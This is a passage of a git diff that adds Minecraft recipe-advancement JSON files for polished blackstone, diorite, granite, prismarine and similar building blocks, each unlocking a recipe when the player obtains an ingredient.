"item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab.json new file mode 100644 index 00000000..9ddf5d22 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_slab" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_slab" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab_from_blackstone_stonecutting.json new file mode 100644 index 00000000..0b7d0221 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_slab_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_slab_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab_from_polished_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..20cc97d6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_slab_from_polished_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_slab_from_polished_blackstone_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_slab_from_polished_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs.json new file mode 100644 index 00000000..69a10f34 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_stairs" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_stairs" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs_from_blackstone_stonecutting.json new file mode 100644 index 00000000..6d9f0955 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_stairs_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_stairs_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs_from_polished_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..820a0783 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_blackstone_stairs_from_polished_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_blackstone_stairs_from_polished_blackstone_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_blackstone_stairs_from_polished_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite.json new file mode 100644 index 00000000..c12aa2d8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_diorite" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_diorite" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_from_diorite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_from_diorite_stonecutting.json new file mode 100644 index 00000000..0abe50da --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_from_diorite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_diorite_from_diorite_stonecutting" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_diorite_from_diorite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab.json new file mode 100644 index 00000000..25a259b5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_diorite_slab" + ] + }, + "criteria": { + "has_polished_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_diorite_slab" + } + } + }, + "requirements": [ + [ + "has_polished_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab_from_diorite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab_from_diorite_stonecutting.json new file mode 100644 index 00000000..5beb263b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab_from_diorite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_diorite_slab_from_diorite_stonecutting" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_diorite_slab_from_diorite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab_from_polished_diorite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab_from_polished_diorite_stonecutting.json new file mode 100644 index 00000000..f629bdc5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_slab_from_polished_diorite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_diorite_slab_from_polished_diorite_stonecutting" + ] + }, + "criteria": { + "has_polished_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_diorite_slab_from_polished_diorite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs.json new file mode 100644 index 00000000..6a7045e6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_diorite_stairs" + ] + }, + "criteria": { + "has_polished_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_diorite_stairs" + } + } + }, + "requirements": [ + [ + "has_polished_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs_from_diorite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs_from_diorite_stonecutting.json new file mode 100644 index 00000000..3d7b4183 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs_from_diorite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_diorite_stairs_from_diorite_stonecutting" + ] + }, + "criteria": { + "has_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_diorite_stairs_from_diorite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs_from_polished_diorite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs_from_polished_diorite_stonecutting.json new file mode 100644 index 00000000..6920c76f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_diorite_stairs_from_polished_diorite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_diorite_stairs_from_polished_diorite_stonecutting" + ] + }, + "criteria": { + "has_polished_diorite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_diorite_stairs_from_polished_diorite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_diorite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_granite.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite.json new file mode 100644 index 00000000..b758c9b7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_granite" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_granite" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_from_granite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_from_granite_stonecutting.json new file mode 100644 index 00000000..e3b29965 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_from_granite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_granite_from_granite_stonecutting" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_granite_from_granite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab.json new file mode 100644 index 00000000..bd78b6c9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_granite_slab" + ] + }, + "criteria": { + "has_polished_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_granite_slab" + } + } + }, + "requirements": [ + [ + "has_polished_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab_from_granite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab_from_granite_stonecutting.json new file mode 100644 index 00000000..799e47ed --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab_from_granite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_granite_slab_from_granite_stonecutting" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_granite_slab_from_granite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab_from_polished_granite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab_from_polished_granite_stonecutting.json new file mode 100644 index 00000000..858af73f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_slab_from_polished_granite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_granite_slab_from_polished_granite_stonecutting" + ] + }, + "criteria": { + "has_polished_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_granite_slab_from_polished_granite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs.json new file mode 100644 index 00000000..d7ebf695 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_granite_stairs" + ] + }, + "criteria": { + "has_polished_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_granite_stairs" + } + } + }, + "requirements": [ + [ + "has_polished_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs_from_granite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs_from_granite_stonecutting.json new file mode 100644 index 00000000..8588635a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs_from_granite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_granite_stairs_from_granite_stonecutting" + ] + }, + "criteria": { + "has_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_granite_stairs_from_granite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs_from_polished_granite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs_from_polished_granite_stonecutting.json new file mode 100644 index 00000000..9578f30f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/polished_granite_stairs_from_polished_granite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:polished_granite_stairs_from_polished_granite_stonecutting" + ] + }, + "criteria": { + "has_polished_granite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_granite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:polished_granite_stairs_from_polished_granite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_granite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine.json new file mode 100644 index 00000000..87d722df --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine" + ] + }, + "criteria": { + "has_prismarine_shard": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine_shard" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine" + } + } + }, + "requirements": [ + [ + "has_prismarine_shard", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_slab.json new file mode 100644 index 00000000..ff1a2f85 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_brick_slab" + ] + }, + "criteria": { + "has_prismarine_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_brick_slab" + } + } + }, + "requirements": [ + [ + "has_prismarine_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_slab_from_prismarine_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_slab_from_prismarine_stonecutting.json new file mode 100644 index 00000000..e1511070 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_slab_from_prismarine_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_brick_slab_from_prismarine_stonecutting" + ] + }, + "criteria": { + "has_prismarine_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_brick_slab_from_prismarine_stonecutting" + } + } + }, + "requirements": [ + [ + "has_prismarine_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_stairs.json new file mode 100644 index 00000000..66adc4c2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_brick_stairs" + ] + }, + "criteria": { + "has_prismarine_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_brick_stairs" + } + } + }, + "requirements": [ + [ + "has_prismarine_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_stairs_from_prismarine_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_stairs_from_prismarine_stonecutting.json new file mode 100644 index 00000000..01313ab1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_brick_stairs_from_prismarine_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_brick_stairs_from_prismarine_stonecutting" + ] + }, + "criteria": { + "has_prismarine_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_brick_stairs_from_prismarine_stonecutting" + } + } + }, + "requirements": [ + [ + "has_prismarine_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_bricks.json new file mode 100644 index 00000000..456ff0b8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_bricks" + ] + }, + "criteria": { + "has_prismarine_shard": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine_shard" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_bricks" + } + } + }, + "requirements": [ + [ + "has_prismarine_shard", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_slab.json new file mode 100644 index 00000000..cb256e71 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_slab" + ] + }, + "criteria": { + "has_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_slab" + } + } + }, + "requirements": [ + [ + "has_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_slab_from_prismarine_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_slab_from_prismarine_stonecutting.json new file mode 100644 index 00000000..3bfa2346 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_slab_from_prismarine_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_slab_from_prismarine_stonecutting" + ] + }, + "criteria": { + "has_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_slab_from_prismarine_stonecutting" + } + } + }, + "requirements": [ + [ + "has_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_stairs.json new file mode 100644 index 00000000..3fc7bf8f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_stairs" + ] + }, + "criteria": { + "has_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_stairs" + } + } + }, + "requirements": [ + [ + "has_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/prismarine_stairs_from_prismarine_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_stairs_from_prismarine_stonecutting.json new file mode 100644 index 00000000..91878e85 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/prismarine_stairs_from_prismarine_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:prismarine_stairs_from_prismarine_stonecutting" + ] + }, + "criteria": { + "has_prismarine": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:prismarine" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:prismarine_stairs_from_prismarine_stonecutting" + } + } + }, + "requirements": [ + [ + "has_prismarine", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purple_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/purple_concrete_powder.json new file mode 100644 index 00000000..2ce828dc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purple_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purple_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/purple_stained_glass.json new file mode 100644 index 00000000..bc20949d --- /dev/null +++ 